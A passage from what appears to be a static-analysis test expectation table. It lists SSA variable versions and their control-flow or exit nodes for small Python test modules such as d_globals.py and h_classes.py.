v2_3 | ControlFlowNode for v2 | +| b_condition.py:50 | x_3 | Exit node for Function g | +| b_condition.py:51 | x_0 | ControlFlowNode for x | +| b_condition.py:52 | x_1 | ControlFlowNode for x | +| b_condition.py:55 | seq_0 | Exit node for Function loop | +| b_condition.py:55 | v_2 | Exit node for Function loop | +| b_condition.py:56 | seq_0 | ControlFlowNode for seq | +| b_condition.py:57 | v_3 | ControlFlowNode for v | +| b_condition.py:58 | v_4 | ControlFlowNode for v | +| b_condition.py:61 | x_7 | Exit node for Function double_attr_check | +| b_condition.py:61 | y_3 | Exit node for Function double_attr_check | +| b_condition.py:62 | x_0 | ControlFlowNode for x | +| b_condition.py:64 | y_0 | ControlFlowNode for y | +| b_condition.py:65 | x_2 | ControlFlowNode for x | +| b_condition.py:66 | x_3 | ControlFlowNode for x | +| b_condition.py:69 | b_3 | Exit node for Function h | +| b_condition.py:71 | b_0 | ControlFlowNode for b | +| b_condition.py:73 | b_3 | ControlFlowNode for b | +| b_condition.py:75 | t_4 | Exit node for Function k | +| b_condition.py:77 | t_0 | ControlFlowNode for t | +| b_condition.py:79 | t_3 | ControlFlowNode for t | +| b_condition.py:81 | bar_2 | Exit node for Function odasa6261 | +| b_condition.py:81 | foo_5 | Exit node for Function odasa6261 | +| b_condition.py:82 | foo_0 | ControlFlowNode for foo | +| b_condition.py:84 | foo_3 | ControlFlowNode for foo | +| b_condition.py:87 | x_3 | Exit node for Function split_bool1 | +| b_condition.py:87 | x_8 | Exit node for Function split_bool1 | +| b_condition.py:87 | y_3 | Exit node for Function split_bool1 | +| b_condition.py:87 | y_6 | Exit node for Function split_bool1 | +| b_condition.py:88 | x_0 | ControlFlowNode for x | +| b_condition.py:88 | y_0 | ControlFlowNode for y | +| b_condition.py:90 | x_1 | ControlFlowNode for x | +| b_condition.py:90 | x_4 | ControlFlowNode for x | +| b_condition.py:90 | y_0 | ControlFlowNode for y | +| b_condition.py:92 | x_5 | ControlFlowNode for x | +| b_condition.py:92 | x_6 | ControlFlowNode for x | +| b_condition.py:93 | y_4 | ControlFlowNode for y | +| b_condition.py:95 | y_1 | ControlFlowNode for y | +| b_condition.py:96 | y_2 | ControlFlowNode for y | +| b_condition.py:96 | y_5 | ControlFlowNode for y | +| b_condition.py:97 | x_2 | ControlFlowNode for x | +| b_condition.py:99 | x_7 | ControlFlowNode for x | +| b_condition.py:101 | a_4 | Exit node for Function not_or_not | +| b_condition.py:102 | a_0 | ControlFlowNode for a | +| b_condition.py:104 | a_2 | ControlFlowNode for a | +| b_condition.py:105 | a_3 | ControlFlowNode for a | +| d_globals.py:0 | D_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | Ugly_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | X_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | __name___0 | Exit node for Module code.d_globals | +| d_globals.py:0 | __package___0 | Exit node for Module code.d_globals | +| d_globals.py:0 | assign_global_0 | Exit node for Module code.d_globals | +| d_globals.py:0 | dict_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | g1_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | g2_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | g3_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | g4_6 | Exit node for Module code.d_globals | +| d_globals.py:0 | get_g4_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | glob_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | init_0 | Exit node for Module code.d_globals | +| d_globals.py:0 | j_0 | Exit node for Module code.d_globals | +| d_globals.py:0 | k_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | modinit_2 | Exit node for Module code.d_globals | +| d_globals.py:0 | outer_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | redefine_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | set_g4_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | set_g4_indirect_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | tuple_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | use_list_attribute_1 | Exit node for Module code.d_globals | +| d_globals.py:0 | x_3 | Exit node for Module code.d_globals | +| d_globals.py:0 | y_3 | Exit node for Module code.d_globals | +| d_globals.py:0 | z_1 | Exit node for Module code.d_globals | +| d_globals.py:2 | g1_2 | Exit node for Function j | +| d_globals.py:2 | g2_2 | Exit node for Function j | +| d_globals.py:2 | g3_2 | Exit node for Function j | +| d_globals.py:2 | g4_1 | Exit node for Function j | +| d_globals.py:2 | glob_2 | Exit node for Function j | +| d_globals.py:2 | z_2 | Exit node for Function j | +| d_globals.py:3 | dict_2 | ControlFlowNode for dict | +| d_globals.py:3 | tuple_2 | ControlFlowNode for tuple | +| d_globals.py:4 | dict_0 | ControlFlowNode for dict | +| d_globals.py:6 | dict_1 | ControlFlowNode for dict | +| d_globals.py:7 | tuple_0 | ControlFlowNode for tuple | +| d_globals.py:8 | tuple_1 | ControlFlowNode for tuple | +| d_globals.py:16 | g1_3 | Exit node for Function assign_global | +| d_globals.py:16 | g2_3 | Exit node for Function assign_global | +| d_globals.py:16 | g3_3 | Exit node for Function assign_global | +| d_globals.py:16 | g4_2 | Exit node for Function assign_global | +| d_globals.py:16 | glob_3 | Exit node for Function assign_global | +| d_globals.py:16 | z_3 | Exit node for Function assign_global | +| d_globals.py:19 | g1_3 | ControlFlowNode for g1 | +| d_globals.py:25 | g1_4 | Exit node for Function init | +| d_globals.py:25 | g2_4 | Exit node for Function init | +| d_globals.py:25 | g3_4 | Exit node for Function init | +| d_globals.py:25 | g4_3 | Exit node for Function init | +| d_globals.py:25 | glob_4 | Exit node for Function init | +| d_globals.py:25 | z_4 | Exit node for Function init | +| d_globals.py:29 | D_0 | ControlFlowNode for init() | +| d_globals.py:29 | Ugly_0 | ControlFlowNode for init() | +| d_globals.py:29 | X_0 | ControlFlowNode for init() | +| d_globals.py:29 | __name___0 | ControlFlowNode for init() | +| d_globals.py:29 | __package___0 | ControlFlowNode for init() | +| d_globals.py:29 | assign_global_0 | ControlFlowNode for init() | +| d_globals.py:29 | dict_1 | ControlFlowNode for init() | +| d_globals.py:29 | g1_0 | ControlFlowNode for init() | +| d_globals.py:29 | g2_0 | ControlFlowNode for init() | +| d_globals.py:29 | g3_0 | ControlFlowNode for init() | +| d_globals.py:29 | g4_0 | ControlFlowNode for init() | +| d_globals.py:29 | get_g4_0 | ControlFlowNode for init() | +| d_globals.py:29 | glob_0 | ControlFlowNode for init() | +| d_globals.py:29 | init_0 | ControlFlowNode for init | +| d_globals.py:29 | init_0 | ControlFlowNode for init() | +| d_globals.py:29 | j_0 | ControlFlowNode for init() | +| d_globals.py:29 | k_0 | ControlFlowNode for init() | +| d_globals.py:29 | modinit_0 | ControlFlowNode for init() | +| d_globals.py:29 | outer_0 | ControlFlowNode for init() | +| d_globals.py:29 | redefine_0 | ControlFlowNode for init() | +| d_globals.py:29 | set_g4_0 | ControlFlowNode for init() | +| d_globals.py:29 | set_g4_indirect_0 | ControlFlowNode for init() | +| d_globals.py:29 | tuple_1 | ControlFlowNode for init() | +| d_globals.py:29 | use_list_attribute_0 | ControlFlowNode for init() | +| d_globals.py:29 | x_0 | ControlFlowNode for init() | +| d_globals.py:29 | y_0 | ControlFlowNode for init() | +| d_globals.py:29 | z_0 | ControlFlowNode for init() | +| d_globals.py:30 | g2_1 | ControlFlowNode for g2 | +| d_globals.py:35 | __init___0 | Exit node for Class Ugly | +| d_globals.py:35 | meth_0 | Exit node for Class Ugly | +| d_globals.py:37 | g1_5 | Exit node for Function __init__ | +| d_globals.py:37 | g2_5 | Exit node for Function __init__ | +| d_globals.py:37 | g3_5 | Exit node for Function __init__ | +| d_globals.py:37 | g4_4 | Exit node for Function __init__ | +| d_globals.py:37 | glob_5 | Exit node for Function __init__ | +| d_globals.py:37 | self_0 | Exit node for Function __init__ | +| d_globals.py:37 | z_5 | Exit node for Function __init__ | +| d_globals.py:41 | g1_6 | Exit node for Function meth | +| d_globals.py:41 | g2_6 | Exit node for Function meth | +| d_globals.py:41 | g3_6 | Exit node for Function meth | +| d_globals.py:41 | g4_5 | Exit node for Function meth | +| d_globals.py:41 | glob_6 | Exit node for Function meth | +| d_globals.py:41 | self_0 | Exit node for Function meth | +| d_globals.py:41 | z_6 | Exit node for Function meth | +| d_globals.py:42 | g3_6 | ControlFlowNode for g3 | +| d_globals.py:47 | x_1 | ControlFlowNode for x | +| d_globals.py:59 | y_3 | ControlFlowNode for y | +| d_globals.py:62 | X_0 | ControlFlowNode for ClassExpr | +| d_globals.py:62 | g3_1 | ControlFlowNode for ClassExpr | +| d_globals.py:62 | v4_0 | Exit node for Class X | +| d_globals.py:62 | y_1 | Exit node for Class X | +| d_globals.py:62 | y_3 | ControlFlowNode for ClassExpr | +| d_globals.py:63 | y_0 | ControlFlowNode for y | +| d_globals.py:63 | y_4 | ControlFlowNode for y | +| d_globals.py:65 | X_2 | ControlFlowNode for X | +| d_globals.py:66 | g3_7 | ControlFlowNode for g3 | +| d_globals.py:70 | arg_0 | Exit node for Function k | +| d_globals.py:70 | g1_7 | Exit node for Function k | +| d_globals.py:70 | g2_7 | Exit node for Function k | +| d_globals.py:70 | g3_8 | Exit node for Function k | +| d_globals.py:70 | g4_7 | Exit node for Function k | +| d_globals.py:70 | glob_7 | Exit node for Function k | +| d_globals.py:70 | z_7 | Exit node for Function k | +| d_globals.py:75 | g1_10 | Exit node for Function get_g4 | +| d_globals.py:75 | g2_10 | Exit node for Function get_g4 | +| d_globals.py:75 | g3_11 | Exit node for Function get_g4 | +| d_globals.py:75 | g4_12 | Exit node for Function get_g4 | +| d_globals.py:75 | glob_10 | Exit node for Function get_g4 | +| d_globals.py:75 | z_10 | Exit node for Function get_g4 | +| d_globals.py:76 | g4_8 | ControlFlowNode for g4 | +| d_globals.py:77 | g1_8 | ControlFlowNode for set_g4() | +| d_globals.py:77 | g2_8 | ControlFlowNode for set_g4() | +| d_globals.py:77 | g3_9 | ControlFlowNode for set_g4() | +| d_globals.py:77 | g4_9 | ControlFlowNode for set_g4() | +| d_globals.py:77 | glob_8 | ControlFlowNode for set_g4() | +| d_globals.py:77 | set_g4_2 | ControlFlowNode for set_g4 | +| d_globals.py:77 | z_8 | ControlFlowNode for set_g4() | +| d_globals.py:78 | g4_12 | ControlFlowNode for g4 | +| d_globals.py:80 | g1_12 | Exit node for Function set_g4 | +| d_globals.py:80 | g2_12 | Exit node for Function set_g4 | +| d_globals.py:80 | g3_13 | Exit node for Function set_g4 | +| d_globals.py:80 | g4_14 | Exit node for Function set_g4 | +| d_globals.py:80 | glob_12 | Exit node for Function set_g4 | +| d_globals.py:80 | z_12 | Exit node for Function set_g4 | +| d_globals.py:81 | g1_11 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | g2_11 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | g3_12 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | g4_13 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | glob_11 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | set_g4_indirect_2 | ControlFlowNode for set_g4_indirect | +| d_globals.py:81 | z_11 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:83 | g1_13 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | g2_13 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | g3_14 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | g4_15 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | glob_13 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | z_13 | Exit node for Function set_g4_indirect | +| d_globals.py:92 | modinit_1 | ControlFlowNode for modinit | +| d_globals.py:95 | g1_15 | Exit node for Function outer | +| d_globals.py:95 | g2_15 | Exit node for Function outer | +| d_globals.py:95 | g3_16 | Exit node for Function outer | +| d_globals.py:95 | g4_17 | Exit node for Function outer | +| d_globals.py:95 | glob_15 | Exit node for Function outer | +| d_globals.py:95 | inner_0 | Exit node for Function outer | +| d_globals.py:95 | otherInner_0 | Exit node for Function outer | +| d_globals.py:95 | z_15 | Exit node for Function outer | +| d_globals.py:96 | g1_16 | Exit node for Function inner | +| d_globals.py:96 | g2_16 | Exit node for Function inner | +| d_globals.py:96 | g3_17 | Exit node for Function inner | +| d_globals.py:96 | g4_18 | Exit node for Function inner | +| d_globals.py:96 | glob_16 | Exit node for Function inner | +| d_globals.py:96 | z_16 | Exit node for Function inner | +| d_globals.py:99 | glob_16 | ControlFlowNode for glob | +| d_globals.py:101 | g1_17 | Exit node for Function otherInner | +| d_globals.py:101 | g2_17 | Exit node for Function otherInner | +| d_globals.py:101 | g3_18 | Exit node for Function otherInner | +| d_globals.py:101 | g4_19 | Exit node for Function otherInner | +| d_globals.py:101 | glob_17 | Exit node for Function otherInner | +| d_globals.py:101 | z_17 | Exit node for Function otherInner | +| d_globals.py:102 | glob_17 | ControlFlowNode for glob | +| d_globals.py:104 | g1_14 | ControlFlowNode for inner() | +| d_globals.py:104 | g2_14 | ControlFlowNode for inner() | +| d_globals.py:104 | g3_15 | ControlFlowNode for inner() | +| d_globals.py:104 | g4_16 | ControlFlowNode for inner() | +| d_globals.py:104 | glob_14 | ControlFlowNode for inner() | +| d_globals.py:104 | inner_0 | ControlFlowNode for inner | +| d_globals.py:104 | z_14 | ControlFlowNode for inner() | +| d_globals.py:107 | g1_18 | Exit node for Function redefine | +| d_globals.py:107 | g2_18 | Exit node for Function redefine | +| d_globals.py:107 | g3_19 | Exit node for Function redefine | +| d_globals.py:107 | g4_20 | Exit node for Function redefine | +| d_globals.py:107 | glob_19 | Exit node for Function redefine | +| d_globals.py:107 | z_19 | Exit node for Function redefine | +| d_globals.py:109 | z_18 | ControlFlowNode for z | +| d_globals.py:111 | z_19 | ControlFlowNode for z | +| d_globals.py:112 | glob_18 | ControlFlowNode for glob | +| d_globals.py:114 | glob_19 | ControlFlowNode for glob | +| d_globals.py:118 | __init___0 | Exit node for Class D | +| d_globals.py:118 | foo_0 | Exit node for Class D | +| d_globals.py:120 | g1_19 | Exit node for Function __init__ | +| d_globals.py:120 | g2_19 | Exit node for Function __init__ | +| d_globals.py:120 | g3_20 | Exit node for Function __init__ | +| d_globals.py:120 | g4_21 | Exit node for Function __init__ | +| d_globals.py:120 | glob_20 | Exit node for Function __init__ | +| d_globals.py:120 | self_0 | Exit node for Function __init__ | +| d_globals.py:120 | z_20 | Exit node for Function __init__ | +| d_globals.py:123 | g1_20 | Exit node for Function foo | +| d_globals.py:123 | g2_20 | Exit node for Function foo | +| d_globals.py:123 | g3_21 | Exit node for Function foo | +| d_globals.py:123 | g4_22 | Exit node for Function foo | +| d_globals.py:123 | glob_21 | Exit node for Function foo | +| d_globals.py:123 | self_0 | Exit node for Function foo | +| d_globals.py:123 | z_21 | Exit node for Function foo | +| d_globals.py:124 | dict_3 | ControlFlowNode for dict | +| d_globals.py:126 | g1_22 | Exit node for Function use_list_attribute | +| d_globals.py:126 | g2_22 | Exit node for Function use_list_attribute | +| d_globals.py:126 | g3_23 | Exit node for Function use_list_attribute | +| d_globals.py:126 | g4_24 | Exit node for Function use_list_attribute | +| d_globals.py:126 | glob_23 | Exit node for Function use_list_attribute | +| d_globals.py:126 | l_1 | Exit node for Function use_list_attribute | +| d_globals.py:126 | z_23 | Exit node for Function use_list_attribute | +| d_globals.py:128 | g1_21 | ControlFlowNode for Attribute() | +| d_globals.py:128 | g2_21 | ControlFlowNode for Attribute() | +| d_globals.py:128 | g3_22 | ControlFlowNode for Attribute() | +| d_globals.py:128 | g4_23 | ControlFlowNode for Attribute() | +| d_globals.py:128 | glob_22 | ControlFlowNode for Attribute() | +| d_globals.py:128 | l_0 | ControlFlowNode for l | +| d_globals.py:128 | z_22 | ControlFlowNode for Attribute() | +| d_globals.py:129 | l_1 | ControlFlowNode for l | +| e_temporal.py:0 | __name___0 | Exit node for Module code.e_temporal | +| e_temporal.py:0 | __package___0 | Exit node for Module code.e_temporal | +| e_temporal.py:0 | f_0 | Exit node for Module code.e_temporal | +| e_temporal.py:0 | g_0 | Exit node for Module code.e_temporal | +| e_temporal.py:0 | sys_0 | Exit node for Module code.e_temporal | +| e_temporal.py:0 | x_1 | Exit node for Module code.e_temporal | +| e_temporal.py:5 | sys_1 | ControlFlowNode for sys | +| e_temporal.py:9 | arg_0 | Exit node for Function g | +| e_temporal.py:10 | arg_0 | ControlFlowNode for arg | +| e_temporal.py:12 | __name___0 | ControlFlowNode for f() | +| e_temporal.py:12 | __name___0 | ControlFlowNode for g() | +| e_temporal.py:12 | __package___0 | ControlFlowNode for f() | +| e_temporal.py:12 | __package___0 | ControlFlowNode for g() | +| e_temporal.py:12 | f_0 | ControlFlowNode for f | +| e_temporal.py:12 | f_0 | ControlFlowNode for f() | +| e_temporal.py:12 | f_0 | ControlFlowNode for g() | +| e_temporal.py:12 | g_0 | ControlFlowNode for f() | +| e_temporal.py:12 | g_0 | ControlFlowNode for g | +| e_temporal.py:12 | g_0 | ControlFlowNode for g() | +| e_temporal.py:12 | sys_0 | ControlFlowNode for f() | +| e_temporal.py:12 | sys_0 | ControlFlowNode for g() | +| e_temporal.py:12 | x_0 | ControlFlowNode for f() | +| e_temporal.py:12 | x_0 | ControlFlowNode for g() | +| g_class_init.py:0 | C_0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | D_0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | E_0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | Oddities_0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | V2_0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | V3_0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | __name___0 | Exit node for Module code.g_class_init | +| g_class_init.py:0 | __package___0 | Exit node for Module code.g_class_init | +| g_class_init.py:3 | __init___0 | Exit node for Class C | +| g_class_init.py:3 | _init2_0 | Exit node for Class C | +| g_class_init.py:3 | _init_0 | Exit node for Class C | +| g_class_init.py:3 | method_0 | Exit node for Class C | +| g_class_init.py:5 | self_2 | Exit node for Function __init__ | +| g_class_init.py:6 | self_0 | ControlFlowNode for self | +| g_class_init.py:7 | self_1 | ControlFlowNode for self | +| g_class_init.py:9 | self_2 | Exit node for Function _init | +| g_class_init.py:10 | self_0 | ControlFlowNode for self | +| g_class_init.py:11 | self_1 | ControlFlowNode for self | +| g_class_init.py:13 | self_1 | Exit node for Function _init2 | +| g_class_init.py:14 | self_0 | ControlFlowNode for self | +| g_class_init.py:16 | self_3 | Exit node for Function method | +| g_class_init.py:17 | self_0 | ControlFlowNode for self | +| g_class_init.py:18 | self_0 | ControlFlowNode for self | +| g_class_init.py:19 | self_1 | ControlFlowNode for self | +| g_class_init.py:20 | self_3 | ControlFlowNode for self | +| g_class_init.py:24 | float_1 | Exit node for Class Oddities | +| g_class_init.py:24 | h_0 | Exit node for Class Oddities | +| g_class_init.py:24 | int_1 | Exit node for Class Oddities | +| g_class_init.py:24 | l_0 | Exit node for Class Oddities | +| g_class_init.py:26 | int_0 | ControlFlowNode for int | +| g_class_init.py:27 | float_0 | ControlFlowNode for float | +| g_class_init.py:32 | __init___0 | Exit node for Class D | +| g_class_init.py:34 | self_0 | Exit node for Function __init__ | +| g_class_init.py:35 | D_1 | ControlFlowNode for D | +| g_class_init.py:35 | self_0 | ControlFlowNode for self | +| g_class_init.py:36 | D_2 | ControlFlowNode for D | +| g_class_init.py:36 | self_0 | ControlFlowNode for self | +| g_class_init.py:45 | __init___0 | Exit node for Class E | +| g_class_init.py:45 | meth_0 | Exit node for Class E | +| g_class_init.py:46 | c_3 | Exit node for Function __init__ | +| g_class_init.py:46 | self_3 | Exit node for Function __init__ | +| g_class_init.py:47 | c_0 | ControlFlowNode for c | +| g_class_init.py:48 | V2_1 | ControlFlowNode for V2 | +| g_class_init.py:48 | self_0 | ControlFlowNode for self | +| g_class_init.py:50 | V3_1 | ControlFlowNode for V3 | +| g_class_init.py:50 | self_0 | ControlFlowNode for self | +| g_class_init.py:52 | self_3 | Exit node for Function meth | +| g_class_init.py:53 | V2_2 | ControlFlowNode for V2 | +| g_class_init.py:53 | self_0 | ControlFlowNode for self | +| h_classes.py:0 | Base_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | C_0 | Exit node for Module code.h_classes | +| h_classes.py:0 | D_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | Derived1_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | Derived2_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | Derived3_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | __name___0 | Exit node for Module code.h_classes | +| h_classes.py:0 | __package___0 | Exit node for Module code.h_classes | +| h_classes.py:0 | f_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | k_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | sys_1 | Exit node for Module code.h_classes | +| h_classes.py:0 | thing_1 | Exit node for Module code.h_classes | +| h_classes.py:3 | __init___0 | Exit node for Class C | +| h_classes.py:3 | x_0 | Exit node for Class C | +| h_classes.py:7 | self_1 | Exit node for Function __init__ | +| h_classes.py:8 | self_0 | ControlFlowNode for self | +| h_classes.py:10 | Base_0 | ControlFlowNode for C() | +| h_classes.py:10 | Base_0 | ControlFlowNode for type() | +| h_classes.py:10 | C_0 | ControlFlowNode for C | +| h_classes.py:10 | C_0 | ControlFlowNode for C() | +| h_classes.py:10 | C_0 | ControlFlowNode for type() | +| h_classes.py:10 | D_0 | ControlFlowNode for C() | +| h_classes.py:10 | D_0 | ControlFlowNode for type() | +| h_classes.py:10 | Derived1_0 | ControlFlowNode for C() | +| h_classes.py:10 | Derived1_0 | ControlFlowNode for type() | +| h_classes.py:10 | Derived2_0 | ControlFlowNode for C() | +| h_classes.py:10 | Derived2_0 | ControlFlowNode for type() | +| h_classes.py:10 | Derived3_0 | ControlFlowNode for C() | +| h_classes.py:10 | Derived3_0 | ControlFlowNode for type() | +| h_classes.py:10 | __name___0 | ControlFlowNode for C() | +| h_classes.py:10 | __name___0 | ControlFlowNode for type() | +| h_classes.py:10 | __package___0 | ControlFlowNode for C() | +| h_classes.py:10 | __package___0 | ControlFlowNode for type() | +| h_classes.py:10 | f_0 | ControlFlowNode for C() | +| h_classes.py:10 | f_0 | ControlFlowNode for type() | +| h_classes.py:10 | k_0 | ControlFlowNode for C() | +| h_classes.py:10 | k_0 | ControlFlowNode for type() | +| h_classes.py:10 | sys_0 | ControlFlowNode for C() | +| h_classes.py:10 | sys_0 | ControlFlowNode for type() | +| h_classes.py:10 | thing_0 | ControlFlowNode for C() | +| h_classes.py:10 | thing_0 | ControlFlowNode for type() | +| h_classes.py:11 | Base_0 | ControlFlowNode for type() | +| h_classes.py:11 | C_0 | ControlFlowNode for type() | +| h_classes.py:11 | D_0 | ControlFlowNode for type() | +| h_classes.py:11 | Derived1_0 | ControlFlowNode for type() | +| h_classes.py:11 | Derived2_0 | ControlFlowNode for type() | +| h_classes.py:11 | Derived3_0 | ControlFlowNode for type() | +| h_classes.py:11 | __name___0 | ControlFlowNode for type() | +| h_classes.py:11 | __package___0 | ControlFlowNode for type() | +| h_classes.py:11 | f_0 | ControlFlowNode for type() | +| h_classes.py:11 | k_0 | ControlFlowNode for type() | +| h_classes.py:11 | sys_0 | ControlFlowNode for sys | +| h_classes.py:11 | sys_0 | ControlFlowNode for type() | +| h_classes.py:11 | thing_0 | ControlFlowNode for type() | +| h_classes.py:12 | Base_0 | ControlFlowNode for type() | +| h_classes.py:12 | C_0 | ControlFlowNode for type() | +| h_classes.py:12 | D_0 | ControlFlowNode for type() | +| h_classes.py:12 | Derived1_0 | ControlFlowNode for type() | +| h_classes.py:12 | Derived2_0 | ControlFlowNode for type() | +| h_classes.py:12 | Derived3_0 | ControlFlowNode for type() | +| h_classes.py:12 | __name___0 | ControlFlowNode for type() | +| h_classes.py:12 | __package___0 | ControlFlowNode for type() | +| h_classes.py:12 | f_0 | ControlFlowNode for type() | +| h_classes.py:12 | k_0 | ControlFlowNode for type() | +| h_classes.py:12 | sys_1 | ControlFlowNode for type() | +| h_classes.py:12 | thing_0 | ControlFlowNode for type() | +| h_classes.py:14 | arg_1 | Exit node for Function k | +| h_classes.py:15 | C_1 | ControlFlowNode for C | +| h_classes.py:16 | sys_2 | ControlFlowNode for sys | +| h_classes.py:17 | arg_0 | ControlFlowNode for arg | +| h_classes.py:23 | __init___0 | Exit node for Class Base | +| h_classes.py:25 | choice_5 | Exit node for Function __init__ | +| h_classes.py:25 | self_4 | Exit node for Function __init__ | +| h_classes.py:26 | choice_0 | ControlFlowNode for choice | +| h_classes.py:27 | Derived1_2 | ControlFlowNode for Derived1 | +| h_classes.py:27 | self_0 | ControlFlowNode for self | +| h_classes.py:28 | choice_2 | ControlFlowNode for choice | +| h_classes.py:29 | Derived2_2 | ControlFlowNode for Derived2 | +| h_classes.py:29 | self_0 | ControlFlowNode for self | +| h_classes.py:31 | Derived3_2 | ControlFlowNode for Derived3 | +| h_classes.py:31 | self_0 | ControlFlowNode for self | +| h_classes.py:33 | Base_1 | ControlFlowNode for Base | +| h_classes.py:36 | Base_1 | ControlFlowNode for Base | +| h_classes.py:39 | Base_1 | ControlFlowNode for Base | +| h_classes.py:42 | Base_1 | ControlFlowNode for Base | +| h_classes.py:42 | Base_1 | ControlFlowNode for Base() | +| h_classes.py:42 | Base_1 | ControlFlowNode for unknown() | +| h_classes.py:42 | C_0 | ControlFlowNode for Base() | +| h_classes.py:42 | C_0 | ControlFlowNode for unknown() | +| h_classes.py:42 | D_0 | ControlFlowNode for Base() | +| h_classes.py:42 | D_0 | ControlFlowNode for unknown() | +| h_classes.py:42 | Derived1_1 | ControlFlowNode for Base() | +| h_classes.py:42 | Derived1_1 | ControlFlowNode for unknown() | +| h_classes.py:42 | Derived2_1 | ControlFlowNode for Base() | +| h_classes.py:42 | Derived2_1 | ControlFlowNode for unknown() | +| h_classes.py:42 | Derived3_1 | ControlFlowNode for Base() | +| h_classes.py:42 | Derived3_1 | ControlFlowNode for unknown() | +| h_classes.py:42 | __name___0 | ControlFlowNode for Base() | +| h_classes.py:42 | __name___0 | ControlFlowNode for unknown() | +| h_classes.py:42 | __package___0 | ControlFlowNode for Base() | +| h_classes.py:42 | __package___0 | ControlFlowNode for unknown() | +| h_classes.py:42 | f_0 | ControlFlowNode for Base() | +| h_classes.py:42 | f_0 | ControlFlowNode for unknown() | +| h_classes.py:42 | k_1 | ControlFlowNode for Base() | +| h_classes.py:42 | k_1 | ControlFlowNode for unknown() | +| h_classes.py:42 | sys_1 | ControlFlowNode for Base() | +| h_classes.py:42 | sys_1 | ControlFlowNode for unknown() | +| h_classes.py:42 | thing_0 | ControlFlowNode for Base() | +| h_classes.py:42 | thing_0 | ControlFlowNode for unknown() | +| h_classes.py:45 | arg0_0 | Exit node for Function f | +| h_classes.py:45 | arg1_0 | Exit node for Function f | +| h_classes.py:45 | arg2_0 | Exit node for Function f | +| h_classes.py:48 | f_1 | ControlFlowNode for ClassExpr | +| h_classes.py:48 | m_0 | Exit node for Class D | +| h_classes.py:48 | n_0 | Exit node for Class D | +| h_classes.py:50 | f_2 | ControlFlowNode for f | +| h_classes.py:52 | arg1_0 | Exit node for Function n | +| h_classes.py:52 | self_0 | Exit node for Function n | +| j_convoluted_imports.py:0 | C_0 | Exit node for Module code.j_convoluted_imports | +| j_convoluted_imports.py:0 | __name___0 | Exit node for Module code.j_convoluted_imports | +| j_convoluted_imports.py:0 | __package___0 | Exit node for Module code.j_convoluted_imports | +| j_convoluted_imports.py:0 | moduleX_0 | Exit node for Module code.j_convoluted_imports | +| j_convoluted_imports.py:0 | module_0 | Exit node for Module code.j_convoluted_imports | +| j_convoluted_imports.py:0 | x_0 | Exit node for Module code.j_convoluted_imports | +| j_convoluted_imports.py:9 | f_0 | Exit node for Class C | +| j_convoluted_imports.py:9 | module2_0 | Exit node for Class C | +| j_convoluted_imports.py:13 | self_0 | Exit node for Function f | +| j_convoluted_imports.py:13 | x_0 | Exit node for Function f | +| j_convoluted_imports.py:17 | moduleX_0 | ControlFlowNode for moduleX | +| k_getsetattr.py:0 | C_0 | Exit node for Module code.k_getsetattr | +| k_getsetattr.py:0 | __name___0 | Exit node for Module code.k_getsetattr | +| k_getsetattr.py:0 | __package___0 | Exit node for Module code.k_getsetattr | +| k_getsetattr.py:0 | k_0 | Exit node for Module code.k_getsetattr | +| k_getsetattr.py:4 | meth1_0 | Exit node for Class C | +| k_getsetattr.py:4 | meth2_0 | Exit node for Class C | +| k_getsetattr.py:6 | self_4 | Exit node for Function meth1 | +| k_getsetattr.py:7 | self_0 | ControlFlowNode for self | +| k_getsetattr.py:8 | self_1 | ControlFlowNode for self | +| k_getsetattr.py:9 | self_2 | ControlFlowNode for self | +| k_getsetattr.py:10 | self_3 | ControlFlowNode for self | +| k_getsetattr.py:12 | self_6 | Exit node for Function meth2 | +| k_getsetattr.py:13 | self_0 | ControlFlowNode for self | +| k_getsetattr.py:14 | self_1 | ControlFlowNode for self | +| k_getsetattr.py:15 | self_2 | ControlFlowNode for self | +| k_getsetattr.py:16 | self_3 | ControlFlowNode for self | +| k_getsetattr.py:17 | self_4 | ControlFlowNode for self | +| k_getsetattr.py:18 | self_5 | ControlFlowNode for self | +| k_getsetattr.py:21 | c1_1 | Exit node for Function k | +| k_getsetattr.py:21 | c2_2 | Exit node for Function k | +| k_getsetattr.py:21 | c3_1 | Exit node for Function k | +| k_getsetattr.py:21 | cond_3 | Exit node for Function k | +| k_getsetattr.py:22 | C_1 | ControlFlowNode for C | +| k_getsetattr.py:23 | C_1 | ControlFlowNode for C | +| k_getsetattr.py:24 | C_1 | ControlFlowNode for C | +| k_getsetattr.py:25 | c1_0 | 